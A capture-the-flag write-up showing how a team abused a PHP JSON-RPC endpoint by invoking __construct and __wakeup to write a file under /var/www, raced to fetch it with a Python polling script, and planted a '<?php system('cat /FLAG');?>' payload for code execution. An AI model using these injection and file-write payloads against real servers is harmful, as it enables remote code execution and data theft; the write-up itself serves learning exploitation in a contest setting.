This challenge was about injecting JSON-RPC string that will be parsed by the server. After some investigation we found out that __construct and __wakeup method can be used and need the following parameters: log_dir, debug and state:

rpc_json_call={“jsonrpc”: “2.0”, “method”: “__construct”, “params”:[1,2,3]}

We then immediatly tought pointing log_dir somewhere around our control like ‘/var/www’ to try to see if some thing is uploaded:

rpc_json_call=[{"jsonrpc": "2.0", "method": "__construct", "params":{"log_dir":"/var/www/test.php","debug":1,"state":1}}]

but nothing happened. We then tought that our file is deleted after the termination of the script so we run a py script that loops request on /test.php and prints out the result in a race condition situation:

import requests while 1: r = requests.get("http://109.233.61.11:8880/test.php") if r.status_code!=404: print r.text

But even this didn’t worked. So we tryed to send a second RPC request to the server with the first one:

rpc_json_call=[{"jsonrpc": "2.0", "method": "__construct", "params":{"log_dir":"/var/www/test.php","debug":1,"state":1}},{"jsonrpc": "2.0", "method": "__wakeup", "params":{}}]

and this worked! We can see a serialized object of the state we sent (“state”:1) in the file. So having the arbitrary control of the state and the ability to put also strings we can now inject PHP code into it:

rpc_json_call=[{“jsonrpc”: “2.0”, “method”: “construct”, “params”:{“log_dir”:“/var/www/test.php”,“debug”:1,“state”:”<?php system(‘cat /FLAG’);?>“}},{“jsonrpc”: “2.0”, “method”: “wakeup”, “params”:{}}]

If you run this payload while our py script is running you will see that it will print the flag:

CTF{b15ffee30a117f418d1cede6faa57778}

nurfed, Razor4x